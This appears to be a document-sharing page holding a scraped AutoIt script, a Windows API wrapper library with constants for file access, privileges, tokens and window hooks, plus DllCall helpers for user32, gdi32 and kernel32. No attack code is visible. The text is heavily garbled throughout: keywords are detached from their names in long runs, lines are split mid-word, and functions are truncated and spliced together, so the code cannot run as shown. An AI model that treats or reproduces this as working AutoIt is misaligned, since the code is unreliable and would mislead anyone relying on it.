Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
#Region
#AutoIt3Wrapper_UseUpx=n
#Obfuscator_Parameters=/cs /cn /striponly
#EndRegion
Global Const $tagpoint = "long X;long Y"
Global Const $tagrect = "long Left;long Top;long Right;long Bottom"
Global Const $tagsize = "long X;long Y"
Global Const $tagmargins = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int
cyBottomHeight"
Global Const $tagfiletime = "dword Lo;dword Hi"
Global Const $tagsystemtime = "word Year;word Month;word Dow;word Day;word Hour;
word Minute;word Second;word MSeconds"
Global Const $tagtime_zone_information = "long Bias;wchar StdName[32];word StdDa
te[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias"
Global Const $tagnmhdr = "hwnd hWndFrom;uint_ptr IDFrom;INT Code"
Global Const $tagcomboboxexitem = "uint Mask;int_ptr Item;ptr Text;int TextMax;i
nt Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param"
Global Const $tagnmcbedragbegin = $tagnmhdr & ";int ItemID;ptr szText"
Global Const $tagnmcbeendedit = $tagnmhdr & ";bool fChanged;int NewSelection;ptr
szText;int Why"
Global Const $tagnmcomboboxex = $tagnmhdr & ";uint Mask;int_ptr Item;ptr Text;in
t TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Pa
ram"
Global Const $tagdtprange = "word MinYear;word MinMonth;word MinDOW;word MinDay;
word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;wor
d MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSeco
nd;word MaxMSecond;bool MinValid;bool MaxValid"
Global Const $tagnmdatetimechange = $tagnmhdr & ";dword Flag;" & $tagsystemtime
Global Const $tagnmdatetimeformat = $tagnmhdr & ";ptr Format;" & $tagsystemtime
& ";ptr pDisplay;wchar Display[64]"
Global Const $tagnmdatetimeformatquery = $tagnmhdr & ";ptr Format;long SizeX;lon
g SizeY"
Global Const $tagnmdatetimekeydown = $tagnmhdr & ";int VirtKey;ptr Format;" & $t
agsystemtime
Global Const $tagnmdatetimestring = $tagnmhdr & ";ptr UserString;" & $tagsystemt
ime & ";dword Flags"
Global Const $tageventlogrecord = "dword Length;dword Reserved;dword RecordNumbe
r;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word N
umStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword
StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword
DataOffset"
Global Const $taggdipbitmapdata = "uint Width;uint Height;int Stride;int Format;
ptr Scan0;uint_ptr Reserved"
Global Const $taggdipencoderparam = "byte GUID[16];dword Count;dword Type;ptr Va
lues"
Global Const $taggdipencoderparams = "dword Count;byte Params[0]"
Global Const $taggdiprectf = "float X;float Y;float Width;float Height"
Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;boo
l NoCodecs"
Global Const $taggdipstartupoutput = "ptr HookProc;ptr UnhookProc"
Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr Code
cName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword
Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
Global Const $taggdippencoderparams = "dword Count;byte Params[0]"
Global Const $taghditem = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int
Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State"
Global Const $tagnmhddispinfo = $tagnmhdr & ";int Item;uint Mask;ptr Text;int Te
xtMax;int Image;lparam lParam"
Global Const $tagnmhdfilterbtnclick = $tagnmhdr & ";int Item;" & $tagrect
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
$file_attribute_compressed = 2048
$file_attribute_offline = 4096
$file_attribute_not_content_indexed = 8192
$file_attribute_encrypted = 16384
$file_share_read = 1
$file_share_write = 2
$file_share_delete = 4
$generic_all = 268435456
$generic_execute = 536870912
$generic_write = 1073741824
$generic_read = -2147483648
$error_no_token = 1008
$se_assignprimarytoken_name = "SeAssignPrimaryTokenPrivilege"
$se_audit_name = "SeAuditPrivilege"
$se_backup_name = "SeBackupPrivilege"
$se_change_notify_name = "SeChangeNotifyPrivilege"
$se_create_global_name = "SeCreateGlobalPrivilege"
$se_create_pagefile_name = "SeCreatePagefilePrivilege"
$se_create_permanent_name = "SeCreatePermanentPrivilege"
$se_create_token_name = "SeCreateTokenPrivilege"
$se_debug_name = "SeDebugPrivilege"
$se_enable_delegation_name = "SeEnableDelegationPrivilege"
$se_impersonate_name = "SeImpersonatePrivilege"
$se_inc_base_priority_name = "SeIncreaseBasePriorityPrivilege"
$se_increase_quota_name = "SeIncreaseQuotaPrivilege"
$se_load_driver_name = "SeLoadDriverPrivilege"
$se_lock_memory_name = "SeLockMemoryPrivilege"
$se_machine_account_name = "SeMachineAccountPrivilege"
$se_manage_volume_name = "SeManageVolumePrivilege"
$se_prof_single_process_name = "SeProfileSingleProcessPrivilege"
$se_remote_shutdown_name = "SeRemoteShutdownPrivilege"
$se_restore_name = "SeRestorePrivilege"
$se_security_name = "SeSecurityPrivilege"
$se_shutdown_name = "SeShutdownPrivilege"
$se_sync_agent_name = "SeSyncAgentPrivilege"
$se_system_environment_name = "SeSystemEnvironmentPrivilege"
$se_system_profile_name = "SeSystemProfilePrivilege"
$se_systemtime_name = "SeSystemtimePrivilege"
$se_take_ownership_name = "SeTakeOwnershipPrivilege"
$se_tcb_name = "SeTcbPrivilege"
$se_unsolicited_input_name = "SeUnsolicitedInputPrivilege"
$se_undock_name = "SeUndockPrivilege"
$se_privilege_enabled_by_default = 1
$se_privilege_enabled = 2
$se_privilege_removed = 4
$se_privilege_used_for_access = -2147483648
$tokenuser = 1
$tokengroups = 2
$tokenprivileges = 3
$tokenowner = 4
$tokenprimarygroup = 5
$tokendefaultdacl = 6
$tokensource = 7
$tokentype = 8
$tokenimpersonationlevel = 9
$tokenstatistics = 10
$tokenrestrictedsids = 11
$tokensessionid = 12
$tokengroupsandprivileges = 13
$tokensessionreference = 14
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
$tokensandboxinert = 15
$tokenauditpolicy = 16
$tokenorigin = 17
$tokenelevationtype = 18
$tokenlinkedtoken = 19
$tokenelevation = 20
$tokenhasrestrictions = 21
$tokenaccessinformation = 22
$tokenvirtualizationallowed = 23
$tokenvirtualizationenabled = 24
$tokenintegritylevel = 25
$tokenuiaccess = 26
$tokenmandatorypolicy = 27
$tokenlogonsid = 28
$token_assign_primary = 1
$token_duplicate = 2
$token_impersonate = 4
$token_query = 8
$token_query_source = 16
$token_adjust_privileges = 32
$token_adjust_groups = 64
$token_adjust_default = 128
$token_adjust_sessionid = 256
EndFunc
Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamt
ype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hw
nd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
If @error Then Return SetError(@error, @extended, "")
If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
Return $aresult
EndFunc
Func _sendmessagea($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparam
type = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageA", "hw
nd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
If @error Then Return SetError(@error, @extended, "")
If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
Return $aresult
EndFunc
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Global
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
Const
$ltgray_brush = 1
$white_brush = 0
$black_pen = 7
$dc_pen = 19
$white_pen = 6
$ansi_fixed_font = 11
$ansi_var_font = 12
$device_default_font = 14
$default_gui_font = 17
$oem_fixed_font = 10
$system_font = 13
$system_fixed_font = 16
$default_palette = 15
$mb_precomposed = 1
$mb_composite = 2
$mb_useglyphchars = 4
$ulw_alpha = 2
$ulw_colorkey = 1
$ulw_opaque = 4
$wh_callwndproc = 4
$wh_callwndprocret = 12
$wh_cbt = 5
$wh_debug = 9
$wh_foregroundidle = 11
$wh_getmessage = 3
$wh_journalplayback = 1
$wh_journalrecord = 0
$wh_keyboard = 2
$wh_keyboard_ll = 13
$wh_mouse = 7
$wh_mouse_ll = 14
$wh_msgfilter = -1
$wh_shell = 10
$wh_sysmsgfilter = 6
$wpf_asyncwindowplacement = 4
$wpf_restoretomaximized = 2
$wpf_setminposition = 1
$kf_extended = 256
$kf_altdown = 8192
$kf_up = 32768
$llkhf_extended = BitShift($kf_extended, 8)
$llkhf_injected = 16
$llkhf_altdown = BitShift($kf_altdown, 8)
$llkhf_up = BitShift($kf_up, 8)
$ofn_allowmultiselect = 512
$ofn_createprompt = 8192
$ofn_dontaddtorecent = 33554432
$ofn_enablehook = 32
$ofn_enableincludenotify = 4194304
$ofn_enablesizing = 8388608
$ofn_enabletemplate = 64
$ofn_enabletemplatehandle = 128
$ofn_explorer = 524288
$ofn_extensiondifferent = 1024
$ofn_filemustexist = 4096
$ofn_forceshowhidden = 268435456
$ofn_hidereadonly = 4
$ofn_longnames = 2097152
$ofn_nochangedir = 8
$ofn_nodereferencelinks = 1048576
unction failed during initialization." & @LF & "This error often occurs when suf
ficient memory is not available.")
Case $cderr_loadresfailure
Return SetError($aresult[0], 0, "The common dialog box f
unction failed to load a specified resource.")
Case $cderr_loadstrfailure
Return SetError($aresult[0], 0, "The common dialog box f
unction failed to load a specified string.")
Case $cderr_lockresfailure
Return SetError($aresult[0], 0, "The common dialog box f
unction failed to lock a specified resource.")
Case $cderr_memallocfailure
Return SetError($aresult[0], 0, "The common dialog box f
unction was unable to allocate memory for internal structures.")
Case $cderr_memlockfailure
Return SetError($aresult[0], 0, "The common dialog box f
unction was unable to lock the memory associated with a handle.")
Case $cderr_nohinstance
Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag
was set in the Flags member of the initialization structure for the correspondi
ng common dialog box," & @LF & "but you failed to provide a corresponding instan
ce handle.")
Case $cderr_nohook
Return SetError($aresult[0], 0, "The ENABLEHOOK flag was
set in the Flags member of the initialization structure for the corresponding c
ommon dialog box," & @LF & "but you failed to provide a pointer to a correspondi
ng hook procedure.")
Case $cderr_notemplate
Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag
was set in the Flags member of the initialization structure for the correspondi
ng common dialog box," & @LF & "but you failed to provide a corresponding templa
te.")
Case $cderr_registermsgfail
Return SetError($aresult[0], 0, "The RegisterWindowMessa
ge function returned an error code when it was called by the common dialog box f
unction.")
Case $cderr_structsize
Return SetError($aresult[0], 0, "The lStructSize member
of the initialization structure for the corresponding common dialog box is inval
id")
Case $fnerr_buffertoosmall
Return SetError($aresult[0], 0, "The buffer pointed to b
y the lpstrFile member of the OPENFILENAME structure is too small for the file n
ame specified by the user." & @LF & "The first two bytes of the lpstrFile buffer
contain an integer value specifying the size, in TCHARs, required to receive th
e full name.")
Case $fnerr_invalidfilename
Return SetError($aresult[0], 0, "A file name is invalid.
")
Case $fnerr_subclassfailure
Return SetError($aresult[0], 0, "An attempt to subclass
a list box failed because sufficient memory was not available.")
EndSwitch
Return Hex($aresult[0])
EndFunc
Func _winapi_copyicon($hicon)
Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $
hicon)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pb
its = 0)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $
iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "ptr", $pbits)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap"
, "handle", $hdc, "int", $iwidth, "int", $iheight)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createcompatibledc($hdc)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "h
andle", $hdc)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createevent($pattributes = 0, $fmanualreset = True, $finitialstate
= True, $sname = "")
Local $snametype = "wstr"
If $sname = "" Then
$sname = 0
$snametype = "ptr"
EndIf
Local $aresult = DllCall("kernel32.dll", "handle", "CreateEventW", "ptr"
, $pattributes, "bool", $fmanualreset, "bool", $finitialstate, $snametype, $snam
e)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createfile($sfilename, $icreation, $iaccess = 4, $ishare = 0, $iatt
ributes = 0, $psecurity = 0)
Local $ida = 0, $ism = 0, $icd = 0, $ifa = 0
If BitAND($iaccess, 1) <> 0 Then $ida = BitOR($ida, $generic_execute)
If BitAND($iaccess, 2) <> 0 Then $ida = BitOR($ida, $generic_read)
If BitAND($iaccess, 4) <> 0 Then $ida = BitOR($ida, $generic_write)
If BitAND($ishare, 1) <> 0 Then $ism = BitOR($ism, $file_share_delete)
If BitAND($ishare, 2) <> 0 Then $ism = BitOR($ism, $file_share_read)
If BitAND($ishare, 4) <> 0 Then $ism = BitOR($ism, $file_share_write)
Switch $icreation
Case 0
$icd = $create_new
Case 1
$icd = $create_always
Case 2
$icd = $open_existing
Case 3
$icd = $open_always
Case 4
$icd = $truncate_existing
EndSwitch
$sdir = 0
EndIf
Local $aresult = DllCall("kernel32.dll", "bool", "CreateProcessW", $sapp
nametype, $sappname, "ptr", $pcommand, "ptr", $psecurity, "ptr", $pthread, "bool
", $finherit, "dword", $iflags, "ptr", $penviron, $sdirtype, $sdir, "ptr", $psta
rtupinfo, "ptr", $pprocess)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_createrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int",
$ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createroundrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect
, $iwidthellipse, $iheightellipse)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "i
nt", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect, "int
", $iwidthellipse, "int", $iheightellipse)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight, $brgb = 1)
Local $hdc = _winapi_getdc($hwnd)
Local $hdestdc = _winapi_createcompatibledc($hdc)
Local $hbitmap = _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
Local $hold = _winapi_selectobject($hdestdc, $hbitmap)
Local $trect = DllStructCreate($tagrect)
DllStructSetData($trect, 1, 0)
DllStructSetData($trect, 2, 0)
DllStructSetData($trect, 3, $iwidth)
DllStructSetData($trect, 4, $iheight)
If $brgb Then
$icolor = BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor,
255), -16), BitShift(BitAND($icolor, 16711680), 16))
EndIf
Local $hbrush = _winapi_createsolidbrush($icolor)
_winapi_fillrect($hdestdc, DllStructGetPtr($trect), $hbrush)
If @error Then
_winapi_deleteobject($hbitmap)
$hbitmap = 0
EndIf
_winapi_deleteobject($hbrush)
_winapi_releasedc($hwnd, $hdc)
_winapi_selectobject($hdestdc, $hold)
_winapi_deletedc($hdestdc)
If NOT $hbitmap Then Return SetError(1, 0, 0)
Return $hbitmap
EndFunc
Func _winapi_createsolidbrush($ncolor)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "dwo
rd", $ncolor)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func __winapi_enumwindowsinit()
ReDim $__gawinlist_winapi[64][2]
$__gawinlist_winapi[0][0] = 0
$__gawinlist_winapi[0][1] = 64
EndFunc
Func _winapi_enumwindowspopup()
__winapi_enumwindowsinit()
Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapicon
stant_gw_child)
Local $sclass
While $hwnd <> 0
If _winapi_iswindowvisible($hwnd) Then
$sclass = _winapi_getclassname($hwnd)
If $sclass = "#32768" Then
__winapi_enumwindowsadd($hwnd)
ElseIf $sclass = "ToolbarWindow32" Then
__winapi_enumwindowsadd($hwnd)
ElseIf $sclass = "ToolTips_Class32" Then
__winapi_enumwindowsadd($hwnd)
ElseIf $sclass = "BaseBar" Then
__winapi_enumwindowschild($hwnd)
EndIf
EndIf
$hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
WEnd
Return $__gawinlist_winapi
EndFunc
Func _winapi_enumwindowstop()
__winapi_enumwindowsinit()
Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapicon
stant_gw_child)
While $hwnd <> 0
If _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowsadd($
hwnd)
$hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
WEnd
Return $__gawinlist_winapi
EndFunc
Func _winapi_expandenvironmentstrings($sstring)
Local $aresult = DllCall("kernel32.dll", "dword", "ExpandEnvironmentStri
ngsW", "wstr", $sstring, "wstr", "", "dword", 4096)
If @error Then Return SetError(@error, @extended, "")
Return $aresult[2]
EndFunc
Func _winapi_extracticonex($sfile, $iindex, $plarge, $psmall, $iicons)
Local $aresult = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr"
, $sfile, "int", $iindex, "handle", $plarge, "handle", $psmall, "uint", $iicons)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_fatalappexit($smessage)
DllCall("kernel32.dll", "none", "FatalAppExitW", "uint", 0, "wstr", $sme
ssage)
If @error Then Return SetError(@error, @extended)
EndFunc
Func _winapi_getclassname($hwnd)
If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $
hwnd, "wstr", "", "int", 4096)
If @error Then Return SetError(@error, @extended, False)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _winapi_getclientheight($hwnd)
Local $trect = _winapi_getclientrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "To
p")
EndFunc
Func _winapi_getclientwidth($hwnd)
Local $trect = _winapi_getclientrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Lef
t")
EndFunc
Func _winapi_getclientrect($hwnd)
Local $trect = DllStructCreate($tagrect)
DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "ptr", Dll
StructGetPtr($trect))
If @error Then Return SetError(@error, @extended, 0)
Return $trect
EndFunc
Func _winapi_getcurrentprocess()
Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentProcess")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcurrentprocessid()
Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentProcessId")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcurrentthread()
Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcurrentthreadid()
Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentThreadId")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcursorinfo()
Local $tcursor = DllStructCreate($tagcursorinfo)
Local $icursor = DllStructGetSize($tcursor)
DllStructSetData($tcursor, "Size", $icursor)
DllCall("user32.dll", "bool", "GetCursorInfo", "ptr", DllStructGetPtr($t
cursor))
)
If @error Then Return SetError(@error, @extended, 0)
If NOT $ascolorref Then
$aresult[2] = Hex(String($aresult[2]), 6)
$aresult[2] = "0x" & StringMid($aresult[2], 5, 2) & StringMid($a
result[2], 3, 2) & StringMid($aresult[2], 1, 2)
EndIf
$i_transcolor = $aresult[2]
$transparency = $aresult[3]
Return $aresult[4]
EndFunc
Func _winapi_getmodulehandle($smodulename)
Local $smodulenametype = "wstr"
If $smodulename = "" Then
$smodulename = 0
$smodulenametype = "ptr"
EndIf
Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $
smodulenametype, $smodulename)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getmousepos($ftoclient = False, $hwnd = 0)
Local $imode = Opt("MouseCoordMode", 1)
Local $apos = MouseGetPos()
Opt("MouseCoordMode", $imode)
Local $tpoint = DllStructCreate($tagpoint)
DllStructSetData($tpoint, "X", $apos[0])
DllStructSetData($tpoint, "Y", $apos[1])
If $ftoclient Then
_winapi_screentoclient($hwnd, $tpoint)
If @error Then Return SetError(@error, @extended, 0)
EndIf
Return $tpoint
EndFunc
Func _winapi_getmouseposx($ftoclient = False, $hwnd = 0)
Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($tpoint, "X")
EndFunc
Func _winapi_getmouseposy($ftoclient = False, $hwnd = 0)
Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($tpoint, "Y")
EndFunc
Func _winapi_getobject($hobject, $isize, $pobject)
Local $aresult = DllCall("gdi32.dll", "int", "GetObject", "handle", $hob
ject, "int", $isize, "ptr", $pobject)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getopenfilename($stitle = "", $sfilter = "All files (*.*)", $sinita
ldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags =
0, $iflagsex = 0, $hwndowner = 0)
$istart - 1), 3)
$asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft
($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3)
$stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "
];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
Next
Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1
& "]")
Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinit
aldir) + 1 & "]")
Local $tfilter = DllStructCreate($stfilter & "wchar")
Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaulte
xt) + 1 & "]")
For $i = 1 To $asfilter[0]
DllStructSetData($tfilter, $i, $asfilter[$i])
Next
DllStructSetData($ttitle, "Title", $stitle)
DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
DllStructSetData($tpath, "Path", $sdefaultfile)
DllStructSetData($textn, "Extension", $sdefaultext)
DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
DllStructSetData($tofn, "hwndOwner", $hwndowner)
DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
DllStructSetData($tofn, "nMaxFile", $ipathlen)
DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir)
)
DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
DllStructSetData($tofn, "Flags", $iflag)
DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
DllStructSetData($tofn, "FlagsEx", $iflagsex)
DllCall("comdlg32.dll", "bool", "GetSaveFileNameW", "ptr", DllStructGetP
tr($tofn))
If @error Then Return SetError(@error, @extended, $afiles)
Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
EndFunc
Func _winapi_getstockobject($iobject)
Local $aresult = DllCall("gdi32.dll", "handle", "GetStockObject", "int",
$iobject)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getstdhandle($istdhandle)
If $istdhandle < 0 OR $istdhandle > 2 Then Return SetError(2, 0, -1)
Local Const $ahandle[3] = [-10, -11, -12]
Local $aresult = DllCall("kernel32.dll", "handle", "GetStdHandle", "dwor
d", $ahandle[$istdhandle])
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_getsyscolor($iindex)
Local $aresult = DllCall("user32.dll", "dword", "GetSysColor", "int", $i
index)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getsyscolorbrush($iindex)
Local $aresult = DllCall("user32.dll", "handle", "GetSysColorBrush", "in
t", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getsystemmetrics($iindex)
Local $aresult = DllCall("user32.dll", "int", "GetSystemMetrics", "int",
$iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_gettextextentpoint32($hdc, $stext)
Local $tsize = DllStructCreate($tagsize)
Local $isize = StringLen($stext)
DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hdc, "w
str", $stext, "int", $isize, "ptr", DllStructGetPtr($tsize))
If @error Then Return SetError(@error, @extended, 0)
Return $tsize
EndFunc
Func _winapi_getwindow($hwnd, $icmd)
Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwn
d, "uint", $icmd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowdc($hwnd)
Local $aresult = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd",
$hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowheight($hwnd)
Local $trect = _winapi_getwindowrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "To
p")
EndFunc
Func _winapi_getwindowlong($hwnd, $iindex)
Local $sfuncname = "GetWindowLongW"
If @AutoItX64 Then $sfuncname = "GetWindowLongPtrW"
Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $
hwnd, "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowplacement($hwnd)
Local $twindowplacement = DllStructCreate($tagwindowplacement)
DllStructSetData($twindowplacement, "length", DllStructGetSize($twindowp
lacement))
Local $pwindowplacement = DllStructGetPtr($twindowplacement)
$amem[4] = DllStructGetData($tmem, 6)
$amem[5] = DllStructGetData($tmem, 7)
$amem[6] = DllStructGetData($tmem, 8)
Return $amem
EndFunc
Func _winapi_guidfromstring($sguid)
Local $tguid = DllStructCreate($tagguid)
_winapi_guidfromstringex($sguid, DllStructGetPtr($tguid))
If @error Then Return SetError(@error, @extended, 0)
Return $tguid
EndFunc
Func _winapi_guidfromstringex($sguid, $pguid)
Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr",
$sguid, "ptr", $pguid)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_hiword($ilong)
Return BitShift($ilong, 16)
EndFunc
Func _winapi_inprocess($hwnd, ByRef $hlastwnd)
If $hwnd = $hlastwnd Then Return True
For $ii = $__gainprocess_winapi[0][0] To 1 Step -1
If $hwnd = $__gainprocess_winapi[$ii][0] Then
If $__gainprocess_winapi[$ii][1] Then
$hlastwnd = $hwnd
Return True
Else
Return False
EndIf
EndIf
Next
Local $iprocessid
_winapi_getwindowthreadprocessid($hwnd, $iprocessid)
Local $icount = $__gainprocess_winapi[0][0] + 1
If $icount >= 64 Then $icount = 1
